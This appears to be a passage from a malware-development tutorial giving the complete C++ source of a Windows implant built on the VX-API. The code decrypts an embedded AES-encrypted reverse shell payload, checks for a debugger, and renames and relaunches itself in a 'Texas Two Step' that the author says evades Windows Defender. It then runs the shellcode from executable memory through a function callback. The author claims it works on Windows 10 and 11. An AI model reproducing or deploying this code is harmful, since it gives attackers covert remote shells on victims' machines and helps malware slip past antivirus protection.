We reimplement the code we developed in implantv2 using the VX-API. This API is designed with malware development in mind and is a powerful addition to your development environments
Final Code
Now that we have a working payload, we can implement our code using the VX-API, a powerful malware development API that provides a lot of functionality and extendibility for malware development.
Ultimately our code looks like this:
#include "Win32Helper.h"
#include <Windows.h>
#include <iostream>
#include <pathcch.h>
using namespace std;
//Encrypted reverse shell payload
unsigned char payload[] = { 0xbf, 0x69, 0x6e, 0x64 […snip…]};
unsigned char key[] = { 0x78, 0xd4, 0xcb, 0x24, 0x34, 0x97, 0xb1, 0xb, 0x5d, 0x47, 0x72, 0x14, 0x17, 0xab, 0x7f, 0xe5 };
size_t payload_len = sizeof(payload);
size_t key_len = sizeof(key);
int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
int rename(char * lpFileName, LPSTR out) {
int rv;
const char sImplant[] = { 'i', 'm', 'p', 'l', 'a', 'n', 't', '.', 'e', 'x', 'e', 0x0 };
//this functionality innoculates our PE to Windows Defender on Windows 11
//rename executable
rv = rename((const char*)out, sImplant);
//Get Current Path+FileName
GetProcessPathFromLoaderLoadModuleA(sizeof(lpFileName), (PCHAR)lpFileName);
//Remove FileName
PathRemoveFileSpecA((LPSTR)lpFileName);
//Add Correct FileName
strcat(lpFileName, "\\");
strcat(lpFileName, sImplant);
return rv;
}
int main(int argc, char* argv[])
{
if (IsDebuggerPresentEx()) {
return 0;
}
DWORD dwError = ERROR_SUCCESS;
LPVOID exec_mem = NULL;
char lpFileName[200];
LPSTR out = NULL;
const char sImplant[] = { 'i', 'm', 'p', 'l', 'a', 'n', 't', '.', 'e', 'x', 'e', 0x0 };
PDWORD old_protect = (PDWORD) PAGE_READWRITE;
//Check executable name
int rv;
GetModuleFileNameA(NULL, lpFileName, sizeof(lpFileName));
out = PathFindFileNameA((LPCSTR)lpFileName);
rv = strcmp(out, sImplant);
//std::cout << out << std::endl;
switch (rv) {
default:
//Texas Two Step, step 1. "safe" functionality
rename(lpFileName, out);
//Call new instance
//WinExec(lpFileName, 0);
//FastcallExecuteBinaryShellExecuteExA((PCHAR)lpFileName, (PCHAR)"");
//CreateProcessByWindowsRHotKeyExA((PCHAR)lpFileName);
CreateProcessFromIShellDispatchInvokeA((PCHAR)lpFileName);
break;
case 0:
FreeConsole();
//Texas Two Step, step 2. actual malicious functionality
//allocate executable payload in memory
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, (DWORD) old_protect);
//copy our encrypted payload into that memory
RtlMoveMemory(exec_mem, payload, payload_len);
//decrypt the payload in the that memory
AESDecrypt((char*)exec_mem, payload_len, (char*)key, key_len);
//change exec_mem permissions
VirtualProtect((LPVOID)exec_mem, payload_len, PAGE_EXECUTE_READWRITE, (PDWORD)old_protect);
//create shellcode execution information struct
SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
//set payload address
Sei.Payload = (LPBYTE)exec_mem;
//set payload size
Sei.dwLengthOfPayloadInBytes = payload_len;
//set execution function call
Sei.MethodEnum = E_CDEFFOLDERMENU_CREATE2;
//execute via function
ShellcodeExecutionViaFunctionCallbackMain(&Sei);
break;
}
return ERROR_SUCCESS;
}
Testing our code one more time on both environments validates that our code is survivable on Windows 10 and Windows 11.